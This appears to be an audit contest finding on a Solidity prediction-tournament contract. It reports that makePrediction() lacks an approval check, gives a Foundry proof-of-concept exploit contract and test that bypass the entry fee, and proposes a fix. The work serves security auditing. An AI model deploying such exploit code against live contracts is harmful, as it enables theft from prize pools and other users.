Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Wrong/Missing Access Controls in makePrediction()

Relevant GitHub Links

https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L85

Summary

The makePrediction function in the ThePredicter contract lacks proper access control, allowing unauthorized users to make predictions without having gone through the necessary registration and approval process. This vulnerability can be exploited by anyone who knows the prediction fee, allowing them to make predictions and potentially win part of the tournament pot without paying the entry fee.

Vulnerability Details

Wrong/Missing Access Controls

1) Unapproved Registrations:
• Anyone can call the makePrediction function as long as they pay the correct prediction fee.
• There is no check to ensure that the caller has been approved by the organizer (Ivan), allowing unauthorized users to bypass the entry fee.

2)Registration Bypass:
• Users can register and cancel before approval, which changes their status to Canceled.
• This allows them to evade the entry fee and still make predictions.

Impact

The vulnerability has a high likelihood of exploitation. An attacker could:

• Make predictions without paying the entry fee.
• Potentially win part or all of the tournament pot without having followed the required entry process.
• This constitutes theft of user funds, as unauthorized users can access benefits without proper authorization.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract Attacker {
ThePredicter public target;
constructor(address _target) {
target = ThePredicter(_target);
}
function attack() public payable {
// Register and cancel to bypass the entry fee
target.register{value: 0.04 ether}();
target.cancelRegistration();
// Make a prediction by just paying the prediction fee
target.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
}
}
contract ThePredicterTest is Test {
ThePredicter public thePredicter;
Attacker public attacker;
ScoreBoard public scoreBoard;
function setUp() public {
scoreBoard = new ScoreBoard();
//The entrance fees and the prediction fee is considered to be 0.04 ether and 0.0001 ether respectively because these values were used in the ThePredicter.test.sol file
thePredicter = new ThePredicter(address(scoreBoard), 0.04 ether, 0.0001 ether);
attacker = new Attacker(address(thePredicter));
}
function testAccessControlVulnerability() public {
// Fund the attacker with 1 ether
vm.deal(address(attacker), 1 ether);
// Perform the attack
vm.startPrank(address(attacker));
attacker.attack{value: 0.04 ether}();
vm.stopPrank();
uint8 predictionCount = scoreBoard.playersPredictions(address(attacker)).predictionsCount;
// Assert that the attacker’s prediction count is greater than 0
assertGt(predictionCount, 0, "The attacker should have made at least one prediction.");
}
}

Tools Used

Foundry, Manual review

Recommendations

Add a check at the beginning of the makePrediction function to ensure the caller’s status is Approved before allowing them to make predictions.

function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
// Check if the player is approved
+ if (playersStatus[msg.sender] != Status.Approved) {
+ revert ThePredicter__UnauthorizedAccess();
}
Updates

Lead Judging Commences

NightHawK Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.